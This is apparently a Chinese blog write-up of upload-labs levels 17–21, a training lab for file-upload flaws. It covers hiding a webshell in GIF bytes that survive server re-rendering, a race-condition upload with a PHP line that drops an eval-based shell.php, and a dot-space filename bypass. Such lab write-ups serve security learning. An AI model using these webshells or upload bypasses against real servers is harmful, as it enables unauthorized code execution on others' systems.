2023-7-18 uploadlabs17-21

uploadlabs文件上传

看了遍笔记,之前做到17关二次渲染,就直接从这开始

17关

百度二次渲染,网上是这样说的:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

 在源码中我们可以看到这三个函数:

 

 

 这三个函数就是用来重新生成图像的

我们先来尝试一下直接上传

 

然后将上传后的图片重新下载回来

 打开后发现我们的一句话不见了,而且乱码也变了一部分,尝试把一句话放到前面不变的里面,但是会识别不出来png

网上查到gif不容易变,所以随便下个gif,然后同上,将渲染前后的图片放在一起对比

这里用到的是winhex(查看>同步和比较)(这里有些对不齐,大概知道黑色的部分都是相同的地方就行)

 找到前后相同的部分写入一句话

改成php直接放进去试一试

 好使

改回gif上传也没问题(这gif改了之后这么鬼畜吗)

再加上文件包含就完事儿了

18关

第18关条件竞争

 从上面的代码里能看到这一关先将文件传了上去再进行判断,如果不对劲就删掉,那我们如果再它删掉之前访问就能够执行这里的代码:

<?php fputs(fopen('shell.php','w'),'<?php@eval($_POST["1"])?>');?>

这段代码能够生成一个shell.php用来连接

然后用bp抓包不断地上传,同时写一个python脚本不断访问直到返回200的状态码

19关

第19关发现代码很长

 和上一关差不多,都是条件竞争,能看到多出了一些检验方式,但是似乎没多大用

 20关

提示及源码:

 

 直接通过点空格绕过

 

21关

刚才的办法行不通了

提示说来源于ctf,让我们审计代码

 偷个懒直接转载下大佬的图:

 

 

 图片转自:https://blog.csdn.net/qq_51789211/article/details/127538812

 

posted @   TheBlackEagle  阅读(33)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架
点击右上角即可分享
微信分享提示